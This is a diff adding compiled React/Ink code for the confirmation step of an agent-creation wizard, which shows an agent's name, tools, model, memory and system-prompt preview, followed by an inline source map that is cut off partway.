+  const {
+    tools,
+    existingAgents,
+    onSave,
+    onSaveAndEdit,
+    error
+  } = t0;
+  const {
+    goBack,
+    wizardData
+  } = useWizard();
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = {
+      context: "Confirmation"
+    };
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  useKeybinding("confirm:no", goBack, t1);
+  let t2;
+  if ($[1] !== onSave || $[2] !== onSaveAndEdit) {
+    t2 = e => {
+      if (e.key === "s" || e.key === "return") {
+        e.preventDefault();
+        onSave();
+      } else {
+        if (e.key === "e") {
+          e.preventDefault();
+          onSaveAndEdit();
+        }
+      }
+    };
+    $[1] = onSave;
+    $[2] = onSaveAndEdit;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const handleKeyDown = t2;
+  const agent = wizardData.finalAgent;
+  let T0;
+  let T1;
+  let t10;
+  let t11;
+  let t12;
+  let t13;
+  let t14;
+  let t15;
+  let t16;
+  let t17;
+  let t18;
+  let t19;
+  let t3;
+  let t4;
+  let t5;
+  let t6;
+  let t7;
+  let t8;
+  let t9;
+  if ($[4] !== agent || $[5] !== existingAgents || $[6] !== handleKeyDown || $[7] !== tools || $[8] !== wizardData.location) {
+    const validation = validateAgent(agent, tools, existingAgents);
+    let t20;
+    if ($[28] !== agent) {
+      t20 = truncateToWidth(agent.getSystemPrompt(), 240);
+      $[28] = agent;
+      $[29] = t20;
+    } else {
+      t20 = $[29];
+    }
+    const systemPromptPreview = t20;
+    let t21;
+    if ($[30] !== agent.whenToUse) {
+      t21 = truncateToWidth(agent.whenToUse, 240);
+      $[30] = agent.whenToUse;
+      $[31] = t21;
+    } else {
+      t21 = $[31];
+    }
+    const whenToUsePreview = t21;
+    const getToolsDisplay = _temp;
+    let t22;
+    if ($[32] !== agent.memory) {
+      t22 = isAutoMemoryEnabled() ? <Text><Text bold={true}>Memory</Text>: {getMemoryScopeDisplay(agent.memory)}</Text> : null;
+      $[32] = agent.memory;
+      $[33] = t22;
+    } else {
+      t22 = $[33];
+    }
+    const memoryDisplayElement = t22;
+    T1 = WizardDialogLayout;
+    t18 = "Confirm and save";
+    if ($[34] === Symbol.for("react.memo_cache_sentinel")) {
+      t19 = <Byline><KeyboardShortcutHint shortcut="s/Enter" action="save" /><KeyboardShortcutHint shortcut="e" action="edit in your editor" /><ConfigurableShortcutHint action="confirm:no" context="Confirmation" fallback="Esc" description="cancel" /></Byline>;
+      $[34] = t19;
+    } else {
+      t19 = $[34];
+    }
+    T0 = Box;
+    t3 = "column";
+    t4 = 0;
+    t5 = true;
+    t6 = handleKeyDown;
+    let t23;
+    if ($[35] === Symbol.for("react.memo_cache_sentinel")) {
+      t23 = <Text bold={true}>Name</Text>;
+      $[35] = t23;
+    } else {
+      t23 = $[35];
+    }
+    if ($[36] !== agent.agentType) {
+      t7 = <Text>{t23}: {agent.agentType}</Text>;
+      $[36] = agent.agentType;
+      $[37] = t7;
+    } else {
+      t7 = $[37];
+    }
+    let t24;
+    if ($[38] === Symbol.for("react.memo_cache_sentinel")) {
+      t24 = <Text bold={true}>Location</Text>;
+      $[38] = t24;
+    } else {
+      t24 = $[38];
+    }
+    let t25;
+    if ($[39] !== agent.agentType || $[40] !== wizardData.location) {
+      t25 = getNewRelativeAgentFilePath({
+        source: wizardData.location,
+        agentType: agent.agentType
+      });
+      $[39] = agent.agentType;
+      $[40] = wizardData.location;
+      $[41] = t25;
+    } else {
+      t25 = $[41];
+    }
+    if ($[42] !== t25) {
+      t8 = <Text>{t24}:{" "}{t25}</Text>;
+      $[42] = t25;
+      $[43] = t8;
+    } else {
+      t8 = $[43];
+    }
+    let t26;
+    if ($[44] === Symbol.for("react.memo_cache_sentinel")) {
+      t26 = <Text bold={true}>Tools</Text>;
+      $[44] = t26;
+    } else {
+      t26 = $[44];
+    }
+    let t27;
+    if ($[45] !== agent.tools) {
+      t27 = getToolsDisplay(agent.tools);
+      $[45] = agent.tools;
+      $[46] = t27;
+    } else {
+      t27 = $[46];
+    }
+    if ($[47] !== t27) {
+      t9 = <Text>{t26}: {t27}</Text>;
+      $[47] = t27;
+      $[48] = t9;
+    } else {
+      t9 = $[48];
+    }
+    let t28;
+    if ($[49] === Symbol.for("react.memo_cache_sentinel")) {
+      t28 = <Text bold={true}>Model</Text>;
+      $[49] = t28;
+    } else {
+      t28 = $[49];
+    }
+    let t29;
+    if ($[50] !== agent.model) {
+      t29 = getAgentModelDisplay(agent.model);
+      $[50] = agent.model;
+      $[51] = t29;
+    } else {
+      t29 = $[51];
+    }
+    if ($[52] !== t29) {
+      t10 = <Text>{t28}: {t29}</Text>;
+      $[52] = t29;
+      $[53] = t10;
+    } else {
+      t10 = $[53];
+    }
+    t11 = memoryDisplayElement;
+    if ($[54] === Symbol.for("react.memo_cache_sentinel")) {
+      t12 = <Box marginTop={1}><Text><Text bold={true}>Description</Text> (tells Claude when to use this agent):</Text></Box>;
+      $[54] = t12;
+    } else {
+      t12 = $[54];
+    }
+    if ($[55] !== whenToUsePreview) {
+      t13 = <Box marginLeft={2} marginTop={1}><Text>{whenToUsePreview}</Text></Box>;
+      $[55] = whenToUsePreview;
+      $[56] = t13;
+    } else {
+      t13 = $[56];
+    }
+    if ($[57] === Symbol.for("react.memo_cache_sentinel")) {
+      t14 = <Box marginTop={1}><Text><Text bold={true}>System prompt</Text>:</Text></Box>;
+      $[57] = t14;
+    } else {
+      t14 = $[57];
+    }
+    if ($[58] !== systemPromptPreview) {
+      t15 = <Box marginLeft={2} marginTop={1}><Text>{systemPromptPreview}</Text></Box>;
+      $[58] = systemPromptPreview;
+      $[59] = t15;
+    } else {
+      t15 = $[59];
+    }
+    t16 = validation.warnings.length > 0 && <Box marginTop={1} flexDirection="column"><Text color="warning">Warnings:</Text>{validation.warnings.map(_temp2)}</Box>;
+    t17 = validation.errors.length > 0 && <Box marginTop={1} flexDirection="column"><Text color="error">Errors:</Text>{validation.errors.map(_temp3)}</Box>;
+    $[4] = agent;
+    $[5] = existingAgents;
+    $[6] = handleKeyDown;
+    $[7] = tools;
+    $[8] = wizardData.location;
+    $[9] = T0;
+    $[10] = T1;
+    $[11] = t10;
+    $[12] = t11;
+    $[13] = t12;
+    $[14] = t13;
+    $[15] = t14;
+    $[16] = t15;
+    $[17] = t16;
+    $[18] = t17;
+    $[19] = t18;
+    $[20] = t19;
+    $[21] = t3;
+    $[22] = t4;
+    $[23] = t5;
+    $[24] = t6;
+    $[25] = t7;
+    $[26] = t8;
+    $[27] = t9;
+  } else {
+    T0 = $[9];
+    T1 = $[10];
+    t10 = $[11];
+    t11 = $[12];
+    t12 = $[13];
+    t13 = $[14];
+    t14 = $[15];
+    t15 = $[16];
+    t16 = $[17];
+    t17 = $[18];
+    t18 = $[19];
+    t19 = $[20];
+    t3 = $[21];
+    t4 = $[22];
+    t5 = $[23];
+    t6 = $[24];
+    t7 = $[25];
+    t8 = $[26];
+    t9 = $[27];
+  }
+  let t20;
+  if ($[60] !== error) {
+    t20 = error && <Box marginTop={1}><Text color="error">{error}</Text></Box>;
+    $[60] = error;
+    $[61] = t20;
+  } else {
+    t20 = $[61];
+  }
+  let t21;
+  if ($[62] === Symbol.for("react.memo_cache_sentinel")) {
+    t21 = <Text bold={true}>s</Text>;
+    $[62] = t21;
+  } else {
+    t21 = $[62];
+  }
+  let t22;
+  if ($[63] === Symbol.for("react.memo_cache_sentinel")) {
+    t22 = <Text bold={true}>Enter</Text>;
+    $[63] = t22;
+  } else {
+    t22 = $[63];
+  }
+  let t23;
+  if ($[64] === Symbol.for("react.memo_cache_sentinel")) {
+    t23 = <Box marginTop={2}><Text color="success">Press {t21} or {t22} to save,{" "}<Text bold={true}>e</Text> to save and edit</Text></Box>;
+    $[64] = t23;
+  } else {
+    t23 = $[64];
+  }
+  let t24;
+  if ($[65] !== T0 || $[66] !== t10 || $[67] !== t11 || $[68] !== t12 || $[69] !== t13 || $[70] !== t14 || $[71] !== t15 || $[72] !== t16 || $[73] !== t17 || $[74] !== t20 || $[75] !== t3 || $[76] !== t4 || $[77] !== t5 || $[78] !== t6 || $[79] !== t7 || $[80] !== t8 || $[81] !== t9) {
+    t24 = <T0 flexDirection={t3} tabIndex={t4} autoFocus={t5} onKeyDown={t6}>{t7}{t8}{t9}{t10}{t11}{t12}{t13}{t14}{t15}{t16}{t17}{t20}{t23}</T0>;
+    $[65] = T0;
+    $[66] = t10;
+    $[67] = t11;
+    $[68] = t12;
+    $[69] = t13;
+    $[70] = t14;
+    $[71] = t15;
+    $[72] = t16;
+    $[73] = t17;
+    $[74] = t20;
+    $[75] = t3;
+    $[76] = t4;
+    $[77] = t5;
+    $[78] = t6;
+    $[79] = t7;
+    $[80] = t8;
+    $[81] = t9;
+    $[82] = t24;
+  } else {
+    t24 = $[82];
+  }
+  let t25;
+  if ($[83] !== T1 || $[84] !== t18 || $[85] !== t19 || $[86] !== t24) {
+    t25 = <T1 subtitle={t18} footerText={t19}>{t24}</T1>;
+    $[83] = T1;
+    $[84] = t18;
+    $[85] = t19;
+    $[86] = t24;
+    $[87] = t25;
+  } else {
+    t25 = $[87];
+  }
+  return t25;
+}
+function _temp3(err, i_0) {
+  return <Text key={i_0} color="error">{" "}• {err}</Text>;
+}
+function _temp2(warning, i) {
+  return <Text key={i} dimColor={true}>{" "}• {warning}</Text>;
+}
+function _temp(toolNames) {
+  if (toolNames === undefined) {
+    return "All tools";
+  }
+  if (toolNames.length === 0) {
+    return "None";
+  }
+  if (toolNames.length === 1) {
+    return toolNames[0] || "None";
+  }
+  if (toolNames.length === 2) {
+    return toolNames.join(" and ");
+  }
+  return `${toolNames.slice(0, -1).join(", ")}, and ${toolNames[toolNames.length - 1]}`;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlJlYWN0Tm9kZSIsIktleWJvYXJkRXZlbnQiLCJCb3giLCJUZXh0IiwidXNlS2V5YmluZGluZyIsImlzQXV0b01lbW9yeUVuYWJsZWQiLCJUb29scyIsImdldE1lbW9yeVNjb3BlRGlzcGxheSIsIkFnZW50RGVmaW5pdGlvbiIsInRydW5jYXRlVG9XaWR0aCIsImdldEFnZW50TW9kZWxEaXNwbGF5IiwiQ29uZmlndXJhYmxlU2hvcnRjdXRIaW50IiwiQnlsaW5lIiwiS2V5Ym9hcmRTaG9ydGN1dEhpbnQiLCJ1c2VXaXphcmQiLCJXaXphcmREaWFsb2dMYXlvdXQiLCJnZXROZXdSZWxhdGl2ZUFnZW50RmlsZVBhdGgiLCJ2YWxpZGF0ZUFnZW50IiwiQWdlbnRXaXphcmREYXRhIiwiUHJvcHMiLCJ0b29scyIsImV4aXN0aW5nQWdlbnRzIiwib25TYXZlIiwib25TYXZlQW5kRWRpdCIsImVycm9yIiwiQ29uZmlybVN0ZXAiLCJ0MCIsIiQiLCJfYyIsImdvQmFjayIsIndpemFyZERhdGEiLCJ0MSIsIlN5bWJvbCIsImZvciIsImNvbnRleHQiLCJ0MiIsImUiLCJrZXkiLCJwcmV2ZW50RGVmYXVsdCIsImhhbmRsZUtleURvd24iLCJhZ2VudCIsImZpbmFsQWdlbnQiLCJUMCIsIlQxIiwidDEwIiwidDExIiwidDEyIiwidDEzIiwidDE0IiwidDE1IiwidDE2IiwidDE3IiwidDE4IiwidDE5IiwidDMiLCJ0NCIsInQ1IiwidDYiLCJ0NyIsInQ4IiwidDkiLCJsb2NhdGlvbiIsInZhbGlkYXRpb24iLCJ0MjAiLCJnZXRTeXN0ZW1Qcm9tcHQiLCJzeXN0ZW1Qcm9tcHRQcmV2aWV3IiwidDIxIiwid2hlblRvVXNlIiwid2hlblRvVXNlUHJldmlldyIsImdldFRvb2xzRGlzcGxheSIsIl90ZW1wIiwidDIyIiwibWVtb3J5IiwibWVtb3J5RGlzcGxheUVsZW1lbnQiLCJ0MjMiLCJhZ2VudFR5cGUiLCJ0MjQiLCJ0MjUiLCJzb3VyY2UiLCJ0MjYiLCJ0MjciLCJ0MjgiLCJ0MjkiLCJtb2RlbCIsIndhcm5pbmdzIiwibGVuZ3RoIiwibWFwIiwiX3RlbXAyIiwiZXJyb3JzIiwiX3RlbXAzIiwiZXJyIiwiaV8wIiwiaSIsIndhcm5pbmciLCJ0b29sTmFtZXMiLCJ1bmRlZmluZWQiLCJqb2luIiwic2xpY2UiXSwic291cmNlcyI6WyJDb25maXJtU3RlcC50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0LCB7IHR5cGUgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgdHlwZSB7IEtleWJvYXJkRXZlbnQgfSBmcm9tICcuLi8uLi8uLi8uLi9pbmsvZXZlbnRzL2tleWJvYXJkLWV2ZW50LmpzJ1xuaW1wb3J0IHsgQm94LCBUZXh0IH0gZnJvbSAnLi4vLi4vLi4vLi4vaW5rLmpzJ1xuaW1wb3J0IHsgdXNlS2V5YmluZGluZyB9IGZyb20gJy4uLy4uLy4uLy4uL2tleWJpbmRpbmdzL3VzZUtleWJpbmRpbmcuanMnXG5pbXBvcnQgeyBpc0F1dG9NZW1vcnlFbmFibGVkIH0gZnJvbSAnLi4vLi4vLi4vLi4vbWVtZGlyL3BhdGhzLmpzJ1xuaW1wb3J0IHR5cGUgeyBUb29scyB9IGZyb20gJy4uLy4uLy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgeyBnZXRNZW1vcnlTY29wZURpc3BsYXkgfSBmcm9tICcuLi8uLi8uLi8uLi90b29scy9BZ2VudFRvb2wvYWdlbnRNZW1vcnkuanMnXG5pbXBvcnQgdHlwZSB7IEFnZW50RGVmaW5pdGlvbiB9IGZyb20gJy4uLy4uLy4uLy4uL3Rvb2xzL0FnZW50VG9vbC9sb2FkQWdlbnRzRGlyLmpzJ1xuaW1wb3J0IHsgdHJ1bmNhdGVUb1dpZHRoIH0gZnJvbSAnLi4vLi4vLi4vLi4vdXRpbHMvZm9ybWF0LmpzJ1xuaW1wb3J0IHsgZ2V0QWdlbnRNb2RlbERpc3BsYXkgfSBmcm9tICcuLi8uLi8uLi8uLi91dGlscy9tb2RlbC9hZ2VudC5qcydcbmltcG9ydCB7IENvbmZpZ3VyYWJsZVNob3J0Y3V0SGludCB9IGZyb20gJy4uLy4uLy4uL0NvbmZpZ3VyYWJsZVNob3J0Y3V0SGludC5qcydcbmltcG9ydCB7IEJ5bGluZSB9IGZyb20gJy4uLy4uLy4uL2Rlc2lnbi1zeXN0ZW0vQnlsaW5lLmpzJ1xuaW1wb3J0IHsgS2V5Ym9hcmRTaG9ydGN1dEhpbnQgfSBmcm9tICcuLi8uLi8uLi9kZXNpZ24tc3lzdGVtL0tleWJvYXJkU2hvcnRjdXRIaW50LmpzJ1xuaW1wb3J0IHsgdXNlV2l6YXJkIH0gZnJvbSAnLi4vLi4vLi4vd2l6YXJkL2luZGV4LmpzJ1xuaW1wb3J0IHsgV2l6YXJkRGlhbG9nTGF5b3V0IH0gZnJvbSAnLi4vLi4vLi4vd2l6YXJkL1dpemFyZERpYWxvZ0xheW91dC5qcydcbmltcG9ydCB7IGdldE5ld1JlbGF0aXZlQWdlbnRGaWxlUGF0aCB9IGZyb20gJy4uLy4uL2FnZW50RmlsZVV0aWxzLmpzJ1xuaW1wb3J0IHsgdmFsaWRhdGVBZ2VudCB9IGZyb20gJy4uLy4uL3ZhbGlkYXRlQWdlbnQuanMnXG5pbXBvcnQgdHlwZSB7IEFnZW50V2l6YXJkRGF0YSB9IGZyb20gJy4uL3R5cGVzLmpzJ1xuXG50eXBlIFByb3BzID0ge1xuICB0b29sczogVG9vbHNcbiAgZXhpc3RpbmdBZ2VudHM6IEFnZW50RGVmaW5pdGlvbltdXG4gIG9uU2F2ZTogKCkgPT4gdm9pZFxuICBvblNhdmVBbmRFZGl0OiAoKSA9PiB2b2lkXG4gIGVycm9yPzogc3RyaW5nIHwgbnVsbFxufVxuXG5leHBvcnQgZnVuY3Rpb24gQ29uZmlybVN0ZXAoe1xuICB0b29scyxcbiAgZXhpc3RpbmdBZ2VudHMsXG4gIG9uU2F2ZSxcbiAgb25TYXZlQW5kRWRpdCxcbiAgZXJyb3IsXG59OiBQcm9wcyk6IFJlYWN0Tm9kZSB7XG4gIGNvbnN0IHsgZ29CYWNrLCB3aXphcmREYXRhIH0gPSB1c2VXaXphcmQ8QWdlbnRXaXphcmREYXRhPigpXG5cbiAgdXNlS2V5YmluZGluZygnY29uZmlybTpubycsIGdvQmFjaywgeyBjb250ZXh0OiAnQ29uZmlybWF0aW9uJyB9KVxuXG4gIGNvbnN0IGhhbmRsZUtleURvd24gPSAoZTogS2V5Ym9hcmRFdmVudCkgPT4ge1xuICAgIGlmIChlLmtleSA9PT0gJ3MnIHx8IGUua2V5ID09PSAncmV0dXJuJykge1xuICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpXG4gICAgICBvblNhdmUoKVxuICAgIH0gZWxzZSBpZiAoZS5rZXkgPT09ICdlJykge1xuICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpXG4gICAgICBvblNhdmVBbmRFZGl0KClcbiAgICB9XG4gIH1cblxuICBjb25zdCBhZ2VudCA9IHdpemFyZERhdGEuZmluYWxBZ2VudCFcbiAgY29uc3QgdmFsaWRhdGlvbiA9IHZhbGlkYXRlQWdlbnQoYWdlbnQsIHRvb2xzLCBleGlzdGluZ0FnZW50cylcblxuICBjb25zdCBzeXN0ZW1Qcm9tcHRQcmV2aWV3ID0gdHJ1bmNhdGVUb1dpZHRoKGFnZW50LmdldFN5c3RlbVByb21wdCgpLCAyNDApXG4gIGNvbnN0IHdoZW5Ub1VzZVByZXZpZXcgPSB0cnVuY2F0ZVRvV2lkdGgoYWdlbnQud2hlblRvVXNlLCAyNDApXG5cbiAgY29uc3QgZ2V0VG9vbHNEaXNwbGF5ID0gKHRvb2xOYW1lczogc3RyaW5nW10gfCB1bmRlZmluZWQpOiBzdHJpbmcgPT4ge1xuICAgIC8vIHVuZGVmaW5lZCBtZWFucyBcImFsbCB0b29sc1wiIHBlciBQUiBzZW1hbnRpY1xuICAgIGlmICh0b29sTmFtZXMgPT09IHVuZGVmaW5lZCkgcmV0dXJuICdBbGwgdG9vbHMnXG4gICAgaWYgKHRvb2xOYW1lcy5sZW5ndGggPT09IDApIHJldHVybiAnTm9uZSdcbiAgICBpZiAodG9vbE5hbWVzLmxlbmd0aCA9PT0gMSkgcmV0dXJuIHRvb2xOYW1lc1swXSB8fCAnTm9uZSdcbiAgICBpZiAodG9vbE5hbWVzLmxlbmd0aCA9PT0gMikgcmV0dXJuIHRvb2xOYW1lcy5qb2luKCcgYW5kICcpXG4gICAgcmV0dXJuIGAke3Rvb2xOYW1lcy5zbGljZSgwLCAtMSkuam9pbignLCAnKX0sIGFuZCAke3Rvb2xOYW1lc1t0b29sTmFtZXMubGVuZ3RoIC0gMV19YFxuICB9XG5cbiAgLy8gQ29tcHV0ZSBtZW1vcnkgZGlzcGxheSBvdXRzaWRlIEpTWFxuICBjb25zdCBtZW1vcnlEaXNwbGF5RWxlbWVudCA9IGlzQXV0b01lbW9yeUVuYWJsZWQoKSA/IChcbiAgICA8VGV4dD5cbiAgICAgIDxUZXh0IGJvbGQ+TWVtb3J5PC9UZXh0Pjoge2dldE1lbW9yeVNjb3BlRGlzcGxheShhZ2VudC5tZW1vcnkpfVxuICAgIDwvVGV4dD5cbiAgKSA6IG51bGxcblxuICByZXR1cm4gKFxuICAgIDxXaXphcmREaWFsb2dMYXlvdXRcbiAgICAgIHN1YnRpdGxlPVwiQ29uZmlybSBhbmQgc2F2ZVwiXG4gICAgICBmb290ZXJUZXh0PXtcbiAgICAgICAgPEJ5bGluZT5cbiAgICAgICAgICA8S2V5Ym9hcmRTaG9ydGN1dEhpbnQgc2hvcnRjdXQ9XCJzL0VudGVyXCIgYWN0aW9uPVwic2F2ZVwiIC8+XG4gICAgICAgICAgPEtleWJvYXJkU2hvcnRjdXRIaW50IHNob3J0Y3V0PVwiZVwiIGFjdGlvbj1cImVkaXQgaW4geW91ciBlZGl0b3JcIiAvPlxuICAgICAgICAgIDxDb25maWd1cmFibGVTaG9ydGN1dEhpbnRcbiAgICAgICAgICAgIGFjdGlvbj1cImNvbmZpcm06bm9cIlxuICAgICAgICAgICAgY29udGV4dD1cIkNvbmZpcm1hdGlvblwiXG4gICAgICAgICAgICBmYWxsYmFjaz1cIkVzY1wiXG4gICAgICAgICAgICBkZXNjcmlwdGlvbj1cImNhbmNlbFwiXG4gICAgICAgICAgLz5cbiAgICAgICAgPC9CeWxpbmU+XG4gICAgICB9XG4gICAgPlxuICAgICAgPEJveFxuICAgICAgICBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCJcbiAgICAgICAgdGFiSW5kZXg9ezB9XG4gICAgICAgIGF1dG9Gb2N1c1xuICAgICAgICBvbktleURvd249e2hhbmRsZUtleURvd259XG4gICAgICA+XG4gICAgICAgIDxUZXh0PlxuICAgICAgICAgIDxUZXh0IGJvbGQ+TmFtZTwvVGV4dD46IHthZ2VudC5hZ2VudFR5cGV9XG4gICAgICAgIDwvVGV4dD5cbiAgICAgICAgPFRleHQ+XG4gICAgICAgICAgPFRleHQgYm9sZD5Mb2NhdGlvbjwvVGV4dD46eycgJ31cbiAgICAgICAgICB7Z2V0TmV3UmVsYXRpdmVBZ2VudEZpbGVQYXRoKHtcbiAgICAgICAgICAgIHNvdXJjZTogd2l6YXJkRGF0YS5sb2NhdGlvbiEsXG4gICAgICAgICAgICBhZ2VudFR5cGU6IGFnZW50LmFnZW50VHlwZSxcbiAgICAgICAgICB9KX1cbiAgICAgICAgPC9UZXh0PlxuICAgICAgICA8VGV4dD5cbiAgICAgICAgICA8VGV4dCBib2xkPlRvb2xzPC9UZXh0Pjoge2dldFRvb2xzRGlzcGxheShhZ2VudC50b29scyl9XG4gICAgICAgIDwvVGV4dD5cbiAgICAgICAgPFRleHQ+XG4gICAgICAgICAgPFRleHQgYm9sZD5Nb2RlbDwvVGV4dD46IHtnZXRBZ2VudE1vZGVsRGlzcGxheShhZ2VudC5tb2RlbCl9XG4gICAgICAgIDwvVGV4dD5cbiAgICAgICAge21lbW9yeURpc3BsYXlFbGVtZW50fVxuXG4gICAgICAgIDxCb3ggbWFyZ2luVG9wPXsxfT5cbiAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgIDxUZXh0IGJvbGQ+RGVzY3JpcHRpb248L1RleHQ+ICh0ZWxscyBDbGF1ZGUgd2hlbiB0byB1c2UgdGhpcyBhZ2VudCk6XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICA8L0JveD5cbiAgICAgICAgPEJveCBtYXJnaW5MZWZ0PXsyfSBtYXJnaW5Ub3A9ezF9PlxuICAgICAgICAgIDxUZXh0Pnt3aGVuVG9Vc2VQcmV2aWV3fTwvVGV4dD5cbiAgICAgICAgPC9Cb3g+XG5cbiAgICAgICAgPEJveCBtYXJnaW5Ub3A9ezF9PlxuICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAgPFRleHQgYm9sZD5TeXN0ZW0gcHJvbXB0PC9UZXh0PjpcbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgIDwvQm94PlxuICAgICAgICA8Qm94IG1hcmdpbkxlZnQ9ezJ9IG1hcmdpblRvcD17MX0+XG4gICAgICAgICAgPFRleHQ+e3N5c3RlbVByb21wdFByZXZpZXd9PC9UZXh0PlxuICAgICAgICA8L0JveD5cblxuICAgICAgICB7dmFsaWRhdGlvbi53YXJuaW5ncy5sZW5ndGggPiAwICYmIChcbiAgICAgICAgICA8Qm94IG1hcmdpblRvcD17MX0gZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICAgICAgPFRleHQgY29sb3I9XCJ3YXJuaW5nXCI+V2FybmluZ3M6PC9UZXh0PlxuICAgICAgICAgICAge3ZhbGlkYXRpb24ud2FybmluZ3MubWFwKCh3YXJuaW5nLCBpKSA9PiAoXG4gICAgICAgICAgICAgIDxUZXh0IGtleT17aX0gZGltQ29sb3I+XG4gICAgICAgICAgICAgICAgeycgJ31cbiAgICAgICAgICAgICAgICDigKIge3dhcm5pbmd9XG4gICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICkpfVxuICAgICAgICAgIDwvQm94PlxuICAgICAgICApfVxuXG4gICAgICAgIHt2YWxpZGF0aW9uLmVycm9ycy5sZW5ndGggPiAwICYmIChcbiAgICAgICAgICA8Qm94IG1hcmdpblRvcD17MX0gZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICAgICAgPFRleHQgY29sb3I9XCJlcnJvclwiPkVycm9yczo8L1RleHQ+XG4gICAgICAgICAgICB7dmFsaWRhdGlvbi5lcnJvcnMubWFwKChlcnIsIGkpID0+IChcbiAgICAgICAgICAgICAgPFRleHQga2V5PXtpfSBjb2xvcj1cImVycm9yXCI+XG4gICAgICAgICAgICAgICAgeycgJ31cbiAgICAgICAgICAgICAgICDigKIge2Vycn1cbiAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgKSl9XG4gICAgICAgICAgPC9Cb3g+XG4gICAgICAgICl9XG5cbiAgICAgICAge2Vycm9yICYmIChcbiAgICAgICAgICA8Qm94IG1hcmdpblRvcD17MX0+XG4gICAgICAgICAgICA8VGV4dCBjb2xvcj1cImVycm9yXCI+e2Vycm9yfTwvVGV4dD5cbiAgICAgICAgICA8L0JveD5cbiAgICAgICAgKX1cblxuICAgICAgICA8Qm94IG1hcmdpblRvcD17Mn0+XG4gICAgICAgICAgPFRleHQgY29sb3I9XCJzdWNjZXNzXCI+XG4gICAgICAgICAgICBQcmVzcyA8VGV4dCBib2xkPnM8L1RleHQ+IG9yIDxUZXh0IGJvbGQ+RW50ZXI8L1RleHQ+IHRvIHNhdmUseycgJ31cbiAgICAgICAgICAgIDxUZXh0IGJvbGQ+ZTwvVGV4dD4gdG8gc2F2ZSBhbmQgZWRpdFxuICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgPC9Cb3g+XG4gICAgICA8L0JveD5cbiAgICA8L1dpemFyZERpYWxvZ0xheW91dD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxJQUFJLEtBQUtDLFNBQVMsUUFBUSxPQUFPO0FBQzdDLGNBQWNDLGFBQWEsUUFBUSwwQ0FBMEM7QUFDN0UsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsb0JBQW9CO0FBQzlDLFNBQVNDLGFBQWEsUUFBUSwwQ0FBMEM7QUFDeEUsU0FBU0MsbUJBQW1CLFFBQVEsNkJBQTZCO0FBQ2pFLGNBQWNDLEtBQUssUUFBUSxxQkFBcUI7QUFDaEQsU0FBU0MscUJBQXFCLFFBQVEsNENBQTRDO0FBQ2xGLGNBQWNDLGVBQWUsUUFBUSw4Q0FBOEM7QUFDbkYsU0FBU0MsZUFBZSxRQUFRLDZCQUE2QjtBQUM3RCxTQUFTQyxvQkFBb0IsUUFBUSxrQ0FBa0M7QUFDdkUsU0FBU0Msd0JBQXdCLFFBQVEsc0NBQXNDO0FBQy9FLFNBQVNDLE1BQU0sUUFBUSxrQ0FBa0M7QUFDekQsU0FBU0Msb0JBQW9CLFFBQVEsZ0RBQWdEO0FBQ3JGLFNBQVNDLFNBQVMsUUFBUSwwQkFBMEI7QUFDcEQsU0FBU0Msa0JBQWtCLFFBQVEsdUNBQXVDO0FBQzFFLFNBQVNDLDJCQUEyQixRQUFRLHlCQUF5QjtBQUNyRSxTQUFTQyxhQUFhLFFBQVEsd0JBQXdCO0FBQ3RELGNBQWNDLGVBQWUsUUFBUSxhQUFhO0FBRWxELEtBQUtDLEtBQUssR0FBRztFQUNYQyxLQUFLLEVBQUVkLEtBQUs7RUFDWmUsY0FBYyxFQUFFYixlQUFlLEVBQUU7RUFDakNjLE1BQU0sRUFBRSxHQUFHLEdBQUcsSUFBSTtFQUNsQkMsYUFBYSxFQUFFLEdBQUcsR0FBRyxJQUFJO0VBQ3pCQyxLQUFLLENBQUMsRUFBRSxNQUFNLEdBQUcsSUFBSTtBQUN2QixDQUFDO0FBRUQsT0FBTyxTQUFBQyxZQUFBQyxFQUFBO0VBQUEsTUFBQUMsQ0FBQSxHQUFBQyxFQUFBO0VBQXFCO0lBQUFSLEtBQUE7SUFBQUMsY0FBQTtJQUFBQyxNQUFBO0lBQUFDLGFBQUE7SUFBQUM7RUFBQSxJQUFBRSxFQU1wQjtFQUNOO0lBQUFHLE1BQUE7SUFBQUM7RUFBQSxJQUErQmhCLFNBQVMsQ0FBa0IsQ0FBQztFQUFBLElBQUFpQixFQUFBO0VBQUEsSUFBQUosQ0FBQSxRQUFBSyxNQUFBLENBQUFDLEdBQUE7SUFFdkJGLEVBQUE7TUFBQUcsT0FBQSxFQUFXO0lBQWUsQ0FBQztJQUFBUCxDQUFBLE1BQUFJLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFKLENBQUE7RUFBQTtFQUEvRHZCLGFBQWEsQ0FBQyxZQUFZLEVBQUV5QixNQUFNLEVBQUVFLEVBQTJCLENBQUM7RUFBQSxJQUFBSSxFQUFBO0VBQUEsSUFBQVIsQ0FBQSxRQUFBTCxNQUFBLElBQUFLLENBQUEsUUFBQUosYUFBQTtJQUUxQ1ksRUFBQSxHQUFBQyxDQUFBO01BQ3BCLElBQUlBLENBQUMsQ0FBQUMsR0FBSSxLQUFLLEdBQXlCLElBQWxCRCxDQUFDLENBQUFDLEdBQUksS0FBSyxRQUFRO1FBQ3JDRCxDQUFDLENBQUFFLGNBQWUsQ0FBQyxDQUFD